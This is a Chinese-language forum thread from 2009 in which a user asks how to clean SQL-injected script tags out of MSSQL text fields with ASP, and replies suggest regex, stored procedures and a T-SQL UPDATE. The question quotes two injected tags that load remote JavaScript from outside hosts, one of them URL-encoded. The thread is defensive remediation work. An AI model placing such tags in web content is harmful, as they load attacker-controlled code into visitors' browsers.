找回密码
 立即注册
搜索
查看: 437|回复: 4

VBscript语句求助

[复制链接]

126

主题

1015

回帖

1510

积分

金牌会员

歪脖

积分
1510
发表于 2009-3-31 18:12:53 | 显示全部楼层 |阅读模式
一个MSSQL数据库,文本型字段被sql注入语句,语句为
  1. <script src=http://3b3.org/c.js></script>
  2. <Script Src=http://c.nuclear3%2E%63om/css/c.js></Script>
  3. 该语句被反复注入
复制代码
现在准备使用asp文件在线清除这些注入代码,问题是

1.如何判断表中字段是否存在注入语句
2.如何replace干净

我的设想是

判断文本中是否存在"<scripe" or "</script>"

如果存在 则 如何替代

如果不存在 则 该字段健康

假设表名为Table1,字段名为Name1,索引字段为id
色驴杂货铺开张啦!欢迎光临!

真希望人民币快快升值,这样我就可以去美国买made in china的东西了

42

主题

835

回帖

1167

积分

金牌会员

积分
1167
发表于 2009-4-1 16:48:51 | 显示全部楼层
一定要用sql的正则么?
这个不会用那换种工具呗
比如perl;比如php;比如c

评分

参与人数 1金钱 +3 收起 理由
leibin + 3 助人为乐

查看全部评分

回复

使用道具 举报

103

主题

921

回帖

1038

积分

金牌会员

咱就是一个农民

积分
1038
发表于 2009-4-2 13:49:53 | 显示全部楼层
直接用存储过程吧,完全可以不用管SQL注入

评分

参与人数 1金钱 +3 收起 理由
leibin + 3 助人为乐

查看全部评分

回复

使用道具 举报

141

主题

2158

回帖

3143

积分

论坛元老

侏罗纪

积分
3143
发表于 2009-4-9 02:33:12 | 显示全部楼层
正则表达式可以的。

评分

参与人数 1金钱 +2 收起 理由
leibin + 2 助人为乐

查看全部评分

最深的蓝 最冷的血
回复

使用道具 举报

30

主题

1275

回帖

1732

积分

金牌会员

积分
1732
发表于 2009-4-9 11:12:02 | 显示全部楼层
用个SQL语句应该就可以了
update Table1 set Name1=substring(Name1,1,charindex('<script', Name1)-1)
+substring(Name1,charindex('</script>', Name1)+9,len(Name1)-charindex('</script>', Name1)-8)
where patindex('%<script%</script>%', Name1) <> 0
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|海浩社区

GMT+8, 2025-9-17 16:05 , Processed in 0.083571 second(s), 21 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表